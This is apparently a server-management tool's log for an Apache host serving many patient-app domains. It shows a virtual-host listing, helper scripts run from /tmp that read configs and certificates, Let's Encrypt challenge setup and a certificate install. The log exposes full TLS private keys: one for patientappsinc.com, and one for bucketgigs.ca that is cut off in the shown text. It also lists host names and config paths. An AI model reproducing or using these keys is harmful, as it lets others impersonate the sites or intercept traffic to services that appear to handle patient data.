         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-06 06:01:51: 

PUT: /tmp/pkp556710

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientappsinc_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:01:51: 

chmod 755 /tmp/pkp556710; /tmp/pkp556710; rm /tmp/pkp556710

2025-09-06 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf	1906
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>







2025-09-06 06:01:51: 

PUT: /tmp/pkp438315

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-06 06:01:51: 

chmod 755 /tmp/pkp438315; /tmp/pkp438315; rm /tmp/pkp438315

2025-09-06 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt	5430
79:ed:38:af:4f:83:c0:b6:be:69:fc:75:fb:14:22:c1

-----BEGIN CERTIFICATE-----
MIIFOTCCBCGgAwIBAgISBR3DpV5NQTyOWwdhL+tiF4zhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzIwWhcNMjUxMjA1MDUwMzE5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDwNgF4wMvxJ28PNdi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+Zz
OXl+YP2r2yPe+2sskoYvTgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHl
Pg2Ro89oMPOkR01z8l8wvCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9
fj6+/RULwYrCFmOX/QcOkWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7
qMdy5G4HIcAUfLVMawdjUyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt
/riQ84Z5MG04siAirlW408WhSkbZAgMBAAGjggJbMIICVzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFA39tJHCJi9y+HewFg7FaDLb5ZluMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzk4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAAB
mR2d4eEAAAQDAEYwRAIgWqFligpOeersS1vxDZ4h56WbGZiSKIDCjwn9aeRtqVgC
IAQs4A/9YTEbPokpDJW+U1//3zVEXiuIUTM9CUm7JpKKAHYA3dzKNJXX4RYF55Uy
+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZHZ3iJgAABAMARzBFAiAhvrWPuGnukExx
cd1Bs5PJJV8jpjt4X08zwupndrP8QAIhAOjryoT+ZMwl8H8PAMpCnCgrEzEsFYLB
6oFjcpU+1xoIMA0GCSqGSIb3DQEBCwUAA4IBAQA5tq5cfw4VjMGMrSoI6ECCxXEl
1rt4RLcanmN96mxls07yDIAWBF6M54wRzMaE+tVpBArwjdGw73c53njLSSyboHQB
TvSBa48Df8BeWZM0d4sSpFPSBocBg7/XchT1PHbf4t/f+5PsID+xlCm92YtzfU0h
/zIIOGsmF2fZUmy+7e4WEiXceudc/Z976PA8d6WhnDjr2unLhn0CHWWQLS2EVIzs
V9Fu5HIpWb1wECceS/yE6o1iSQ7SzJcFfLJ1HeI0t47aqtNZSZqOARX1fKlQlPHh
RTEA4i1GKZQb1gwKErGN+eViNk/NI0Nn8X/Tjs09DHDACQoNesUW+Lmql/1j
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDwNgF4wMvxJ28P
Ndi3Rw64PYFsZnDnWyr9QMfiUT/JN4HAZDUysiyU5+ZzOXl+YP2r2yPe+2sskoYv
TgHpg1KVhPVIsFspcVuwYUGqz4otWeBiNF8DIULCbwHlPg2Ro89oMPOkR01z8l8w
vCEjW52N0OCKyo6eQOYZNDoCdNXoTjAJwS6ZxCuzXdY9fj6+/RULwYrCFmOX/QcO
kWRcnl2OTMHhwsBcwO/jrPvvr9XH9mFxlQJeIJP5xvS7qMdy5G4HIcAUfLVMawdj
UyM/GxFiBUdQmBlSOWOuHwcqun9eRwsf7nGLPxFmKFyt/riQ84Z5MG04siAirlW4
08WhSkbZAgMBAAECggEBAKbov8kKHiuo/PCSt81SIJZAloed/uGjZZGny7wkPLAy
U4Q9nQFm8LdfE7AIxbTc7CbYFGrCREwqW/bOu2FokJ+4TT9+2zlGvTEnwxtPLnIo
u1NBlKt2Fw9HVwfVQFRsgJejPAhwSw8/4IjakCQjaqy58Ow/py2rZrcopQ5D5MaP
BQ21s5Ll3tPB82RG+1EzsKFLRlzu14EEqW83P5Bej0v3ZRyqM32ID72A6swuFtTr
jDPgzbKTcpRkFC14iX4fo/RHUK4w2Ie5kNrIVEoXDD5QKORUt+zuPZibzmknT64z
dXoIQJb9FO01A2oxrjDYoSlNehPtZmro/feE4q3T+ekCgYEA+YgwdEYgNvOC1b/F
1SMUD+L3A5Pwb3LyicCaYn1KeZ3CyaT3WwWdYsm269Qi/rjMEUJvX8ql0ei1mul8
Y2S/Zfy/Hg8N6D6gCQEhiZzRHfyL/5vS9XVBF6PkVEgJffvubTmHesp0n551jCKo
UxjfaqJKSKZPQ75Xw5mkZKye5w8CgYEA9m/3GkYvbnManEFaSRHY7o3+PPkSpXnH
/mPllkOsiO7TeQHfN48WnToRijzwHPy8PARN3b379dIczf1pTUuECY8SfwA9tVxl
DAIw+cjm/B/0LKnA96Ufi2zcAGFtmMdZnohRvoHASsw3+jpVjQrvRoUFcqYnqaYg
WbMkkp/4M5cCgYAs2Th0PYJevgee6VfiReq+LDnfT8CgF1XWQmK9Hu26zAsNePPo
TSsLbVvOKROdGpO66mjgG6kQADZbwGlV5+6qovGqsmP6gP78f1KKzD+dlx2GdHhH
G6r2V8ObDlN+bEBfKz7ZZ/fsFGvmIviD7u2A2ehmBFYsw9I8Wqn8WjY5KwKBgBHK
NWFdLbFgd8xN33Gk6y8VawQFyvXNG8XeekVlrz/XVcbHftCo8K368iczjPXavM/s
U56tR1IQj+nC4GYnDGoQPPqUDuBXwieixNxTR3Ft8ReETZzS+7r56cvRPLMpuOt7
1cLV5QbBRU04BtL+thU2JxWGrxhNGMrA5uP6zlUTAoGAb50XiOnJEQsCgqmzL3hs
Iwu7oKeY0BL5NHw1IogHwTKtC3dlHotLQQP8P5j2ERRvqfT5MZVdehZTryHznLnV
NYW0NjCCjelPSYm4JRjSyVMDvFDsVKcXhl0RC5CYTHaHcxi8ErP+3A3IwNcGcCim
oYxg4INpiwOwUuPRw4RK9QQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-06 06:01:52: Establishing a connection
2025-09-06 06:01:52: Establishing a connection
2025-09-06 06:01:52: 

PUT: /tmp/pkp379624

#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-06 06:01:53: 

chmod 755 /tmp/pkp379624; /tmp/pkp379624; rm /tmp/pkp379624

2025-09-06 06:01:53: 


1


2025-09-06 06:01:53: Establishing a connection
2025-09-06 06:01:53: 

PUT: /tmp/pkp582721

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > 9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE
cat > KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I


2025-09-06 06:01:53: 

chmod 755 /tmp/pkp582721; /tmp/pkp582721; rm /tmp/pkp582721

2025-09-06 06:01:53: 




2025-09-06 06:02:06: Establishing a connection
2025-09-06 06:02:06: 

PUT: /tmp/pkp797569

#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm 9HG5tPkuiaprKdFBo-xRoNyDI7PkooJGRa1Qhr3jLcE
rm KUTtM97eDeW3yP8WivG3qsXqMfZ9Hvw2pc_Zr3g_l6I


2025-09-06 06:02:06: 

chmod 755 /tmp/pkp797569; /tmp/pkp797569; rm /tmp/pkp797569

2025-09-06 06:02:06: 




2025-09-06 06:02:06: Establishing a connection
2025-09-06 06:02:06: 

PUT: /tmp/pkp537202

#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt

cat > $temp_file <<'endmsg'
4e:9c:46:ce:39:ae:5a:3a:14:5e:2b:88:53:b1:1c:c5

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBUBG34MsywhPJrau2htC7u0oMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzMzWhcNMjUxMjA1MDUwMzMyWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
x7kMCI9xsH2+L7SYylVl2aWFa/FYHi6t75jV2wRTZqql3ENyoTFM3x/p3pSNAwth
ugLkRJuJFw2W1WmA/pYWbBvH77Xaxj1JtyeMUmvH3ZtsPzqRIS+CwQaUFkvVxQvu
7M+DASFAq3QRzJsLJwvfWH6Bh+W0CcboJXs+IP4V7gfTVZLJf0hwNQm3bL1Dv9sX
rUX80swxit6WdTq/Eu3GNBBjdkiZ1VWuu2LH8NqzzLrrYWInGO/muyPuzPl+Gf5P
F9kJ/sywC9Tma38TO4Ke2gOMRlrH5mFfJgjFJMYcOnbm26qiNCVTPbrIBNGAggjx
WryxrX/BL9SSr3QgzaLHWwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQaGJ6oJszKCa64x1pTGy67Y7bnbzAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDEuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZ
HZ4V2wAABAMARzBFAiBQDzBVqno2O0HwcZA6kIWqBwC/FfSO3Mz2JPjOKG2fSAIh
ALTF9fPdnlhYG9IS2suwwqH5023wCpJnJPm3Uhu5ugTMAHcAEvFONL1TckyEBhnD
jz96E/jntWKHiJxtMAWE6+WGJjoAAAGZHZ4drAAABAMASDBGAiEAloNd+IumCZEG
L80+Dja7Geu0yozhHVVLXozKeXIiOBoCIQCFL+QfsBlgJJNCQq7PIZ2UYIDDnvW/
1hjg+ICdstmH7zANBgkqhkiG9w0BAQsFAAOCAQEAbk/jsWurhbdk4aXPYKaCjAzV
1Gh9jwqKCm/anr3M6/cIkiiTJJk6W381xj+rCFF4/s16F091MoPLHWPuQu1yZ7YF
viGSy+nwB6CccYbXaZl0wgtyPsnyFRkiGVcBAPAoArE0/TT7nCmpevze6EjGaZ03
iWdgrX4osfjs6gME4pGHg69dEA+A+SiOEIkR8vB3GctlGG1cfgYUEsKFF17k1Yke
6E00AtrFhns9N+84uI82NPrlFDgfkhnzB8DXE9jcrPFNj0mfNBhjTIPmgiMegLGX
SB/8fhwedW1wQbDvgqxVLU9K7byy9w2eEPm1gpqkxgYQiiaHg6o2gemIFBnKsA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHuQwIj3Gwfb4v
tJjKVWXZpYVr8VgeLq3vmNXbBFNmqqXcQ3KhMUzfH+nelI0DC2G6AuREm4kXDZbV
aYD+lhZsG8fvtdrGPUm3J4xSa8fdm2w/OpEhL4LBBpQWS9XFC+7sz4MBIUCrdBHM
mwsnC99YfoGH5bQJxuglez4g/hXuB9NVksl/SHA1CbdsvUO/2xetRfzSzDGK3pZ1
Or8S7cY0EGN2SJnVVa67Ysfw2rPMuuthYicY7+a7I+7M+X4Z/k8X2Qn+zLAL1OZr
fxM7gp7aA4xGWsfmYV8mCMUkxhw6dubbqqI0JVM9usgE0YCCCPFavLGtf8Ev1JKv
dCDNosdbAgMBAAECggEAXMV963QGET83Wp1+421rk/+ozA0dK1fvf330yHln7CaU
SI4j7vAhjvsZ/UPvhFyDFo5FTgEZWtX7HEKXoqpA3BLDent0leTeGu+J5Lcf7bZG
P9CKnWmeSN8vZnPvZko2v1VcuuehTILryaizM332TvrkXCW8zVXRe6eVommj8h5q
